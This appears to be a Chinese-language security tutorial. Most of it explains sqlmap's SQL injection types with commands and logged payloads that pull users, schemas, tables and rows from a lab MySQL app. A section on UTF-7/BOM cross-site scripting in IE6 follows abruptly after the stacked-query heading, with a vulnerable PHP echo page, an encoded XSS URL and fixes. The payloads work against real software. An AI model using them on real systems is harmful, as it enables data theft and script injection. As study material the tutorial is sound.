SQLMAP的几种注入类型:

1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。B
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。T
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入。

布尔盲注


默认情况下Sqlmap是level 1和risk 1,布尔盲注只会尝试And语句,所以存在布尔盲注的前提是存在查询结果的。
但是测试发现,如果不加上–level 3,无法识别存在SQL注入。SQL语句如下:

SELECT first_name, last_name FROM users WHERE user_id = '$id'

提交参数1,本身是存在查询结果的,返回的Content-Length:4824
Sqlmap提交的payload如下:

1' AND 8299=7983 AND 'GVwj'='GVwj
Content-length: 4778
1' AND 5800=5800 AND 'xcJr'='xcJr
Content-length: 4824

可以看到两个请求的Content-Length不同,此处是存在SQL注入的,但是这里Sqlmap却没有判断存在注入。

E:\Python27\sqlmap>python sqlmap.py -r r.txt --current-user --technique B -p id --batch -v 5 > E:\mysql.log
[11:28:42] [WARNING] GET parameter 'id' does not seem to be injectable

而加上–risk 3,使用OR语句就可以

E:\Python27\sqlmap>python sqlmap.py -r r.txt --current-user --technique B -p id --batch -v 5 --risk 3 > E:\mysql.log
[11:41:39] [PAYLOAD] -4060
Content-length: 4778
[11:41:39] [PAYLOAD] -9307') OR 9390=1031 AND ('jVsv'='jVsv
Content-length: 4778
[11:41:40] [PAYLOAD] -2405' OR 2993=2993 AND 'NMMk'='NMMk
Content-length: 5005
[11:41:40] [INFO] GET parameter 'id' appears to be 'OR boolean-based blind - WHERE or HAVING clause' injectable (with --string="Me")
GET parameter 'id' is vulnerable.

具体的payload如下:
当前用户
二分法比对ascii值

[11:54:32] [PAYLOAD] -8068' OR ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1))>64 AND 'idvA'='idvA
[11:54:32] [PAYLOAD] -8068' OR ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1))>96 AND 'idvA'='idvA
[11:54:32] [PAYLOAD] -8068' OR ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1))>112 AND 'idvA'='idvA
[11:54:32] [PAYLOAD] -8068' OR ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1))>120 AND 'idvA'='idvA
[11:54:32] [PAYLOAD] -8068' OR ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1))>116 AND 'idvA'='idvA
[11:54:32] [PAYLOAD] -8068' OR ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1))>114 AND 'idvA'='idvA
[11:54:32] [PAYLOAD] -8068' OR ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1))>113 AND 'idvA'='idvA

数据库

[11:58:32] [INFO] fetching number of databases
[11:58:32] [PAYLOAD] -7057' OR ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),2,1))>1 AND 'nOyy'='nOyy
[11:58:32] [INFO] retrieved: 5
[11:58:32] [PAYLOAD] -2607' OR ORD(MID((SELECT DISTINCT(IFNULL(CAST(schema_name AS CHAR),0x20)) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),1,1))>64 AND 'beOk'='beOk

Test数据库中的表

[13:46:58] [INFO] fetching number of tables for database 'test'
[13:46:58] [PAYLOAD] -5772' OR ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x74657374),2,1))>1 AND 'CuUY'='CuUY
[13:46:58] [INFO] retrieved: 2
[13:46:58] [PAYLOAD] -5940' OR ORD(MID((SELECT IFNULL(CAST(table_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x74657374 LIMIT 0,1),1,1))>64 AND 'UtVj'='UtVj

Test数据库vinc表字段

[13:53:44] [INFO] fetching columns for table 'vinc' in database 'test'
[13:53:44] [PAYLOAD] -9033' OR ORD(MID((SELECT IFNULL(CAST(COUNT(column_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x76696e63 AND table_schema=0x74657374),2,1))>1 AND 'UlEP'='UlEP
[13:53:44] [INFO] retrieved: 3
[13:53:44] [PAYLOAD] -3060' OR ORD(MID((SELECT IFNULL(CAST(column_name AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x76696e63 AND table_schema=0x74657374 LIMIT 0,1),1,1))>64 AND 'Nanq'='Nanq

获取Test数据库vinc表内容

[13:53:45] [INFO] fetching entries for table 'vinc' in database 'test'
[13:53:45] [INFO] fetching number of entries for table 'vinc' in database 'test'
[13:53:45] [PAYLOAD] -3600' OR ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM test.vinc),2,1))>1 AND 'xJsR'='xJsR
[13:53:45] [INFO] retrieved: 3

然后逐字符逐个字段逐行获取数据

[13:53:45] [PAYLOAD] -6761' OR ORD(MID((SELECT IFNULL(CAST(class AS CHAR),0x20) FROM test.vinc ORDER BY id LIMIT 0,1),1,1))>64 AND 'yemA'='yemA
[13:53:45] [PAYLOAD] -5630' OR ORD(MID((SELECT IFNULL(CAST(id AS CHAR),0x20) FROM test.vinc ORDER BY id LIMIT 0,1),1,1))>64 AND 'nQBD'='nQBD
[13:53:45] [PAYLOAD] -5362' OR ORD(MID((SELECT IFNULL(CAST(name AS CHAR),0x20) FROM test.vinc ORDER BY id LIMIT 0,1),1,1))>64 AND 'qPiu'='qPiu

时间盲注


时间盲注和布尔盲注Payload类似,因为都无法通过页面回显出数据,只能通过读取Ascii的方式。

[14:00:53] [PAYLOAD] 1' AND 2016=IF((89 88),SLEEP(5),2016) AND 'Iakl'='Iakl

报错注入


1' AND (SELECT 5776 FROM(SELECT COUNT(*),CONCAT(0x7162767a71,(SELECT (ELT(5776=5776,1))),0x71717a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'dMzi'='dMzi

ELT(N,str1,str2,str3,…)
如果N =1返回str1,如果N= 2返回str2,等等。返回NULL如果参数的数量小于1或大于N

1' AND ( SELECT 5776 FROM(SELECT COUNT(*),CONCAT(0x7162767a71,(select concat_ws(0x5e,id,name,class) from test.vinc limit 0,1),0x71717a7671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a ) AND 'dMzi'='dMzi

Union注入


union会自动压缩多个结果集合中的重复结果
union all则将所有的结果全部显示出来,不管是不是重复

数据库

[14:36:25] [PAYLOAD] 1' UNION ALL SELECT CONCAT(0x7162767a71,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x71717a7671),NULL-- aIGI

Test数据库vinc表数据

[14:41:02] [PAYLOAD] 1' UNION ALL SELECT CONCAT(0x7162767a71,IFNULL(CAST(class AS CHAR),0x20),0x677777637a6d,IFNULL(CAST(id AS CHAR),0x20),0x677777637a6d,IFNULL(CAST(name AS CHAR),0x20),0x71717a7671),NULL FROM test.vinc-- GrQp

堆查询注入


Mysql一般不支持多语句

受影响浏览器版本为IE6,影响范围较小。

如果在Content-Type中没有设置charset,如下:

Content-Type:text/html

在meta标签中也没有设置字符集

<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″ />

就可以通过字符集抢占的方式使浏览器以UTF-7解析。

<script>alert(1)</script>UTF-7编码为+ADw-script+AD4-alert(1)+ADw-/script+AD4-

但是还需要注意的是BOM头

utf-7 bom 目前知道的有4个,如下:

+/v8 | +/v9 | +/v+ | +/v/

可以通过设置BOM头修改编码,并且BOM头的优先级是最高的,只要能控制目标网页的开头是UTF-7 BOM头,即便你已经配置了

Content-Type:text/html; charset=utf-8

后续的内容仍可以以UTF-7方式编码。

从实际场景出发能控制网页开头就是Json callback。

修复建议:

1)配置默认编码,例如httpd.conf中

AddDefaultCharset UTF-8

2)针对Bom头,可以在返回网页内容最前面添加一个空格。针对Jsonp的话可以直接将Content-Type设置为application/json

测试代码:

<?php

echo $_GET[‘code’];

?>

IE6访问:http://192.168.192.120/utf7.php?code=%2B%2Fv9+%2BADw-script%2BAD4-alert%281%29%2BADw-%2Fscript%2BAD4-

修改代码添加一个空格:

<?php

echo ” “.$_GET[‘code’];

?>

可以看到无法解析了。